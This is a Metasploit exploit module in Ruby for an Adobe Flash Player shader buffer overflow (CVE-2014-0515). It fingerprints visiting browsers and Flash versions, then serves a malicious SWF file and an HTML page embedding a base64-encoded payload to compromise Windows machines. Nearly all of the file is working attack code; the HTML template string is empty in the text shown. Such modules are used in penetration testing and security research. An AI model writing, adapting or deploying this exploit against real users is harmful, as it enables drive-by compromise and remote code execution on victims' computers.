##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Module::Deprecated
deprecated(Date.new(2015, 8, 11), 'exploit/multi/browser/adobe_flash_uncompress_zlib_uaf')
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player Shader Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow vulnerability in Adobe Flash Player. The
vulnerability occurs in the flash.Display.Shader class, when setting specially
crafted data as its bytecode, as exploited in the wild in April 2014. This module
has been tested successfully on IE 6 to IE 11 with Flash 11, Flash 12 and Flash 13
over Windows XP SP3, Windows 7 SP1 and Windows 8.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Vulnerability discovery and exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2014-0515'],
['BID', '67092'],
['URL', 'http://helpx.adobe.com/security/products/flash-player/apsb14-13.html'],
['URL', 'http://www.securelist.com/en/blog/8212/New_Flash_Player_0_day_CVE_2014_0515_used_in_watering_hole_attacks'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/analyzing-cve-2014-0515-the-recent-flash-zero-day/' ]
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => 'win',
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => OperatingSystems::Match::WINDOWS,
:ua_name => lambda { |ua| ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF || ua == Msf::HttpClients::SAFARI},
:flash => lambda { |ver| ver =~ /^11\./ || ver =~ /^12\./ || (ver =~ /^13\./ && ver <= '13.0.0.182') }
},
'Targets' =>
[
[ 'Automatic', {} ]
],
'Privileged' => false,
'DisclosureDate' => 'Apr 28 2014',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
os_name = target_info[:os_name]
platform_id = 'win'
html_template = %Q|
|
return html_template, binding()
end
def create_swf
path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2014-0515', 'msf.swf' )
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end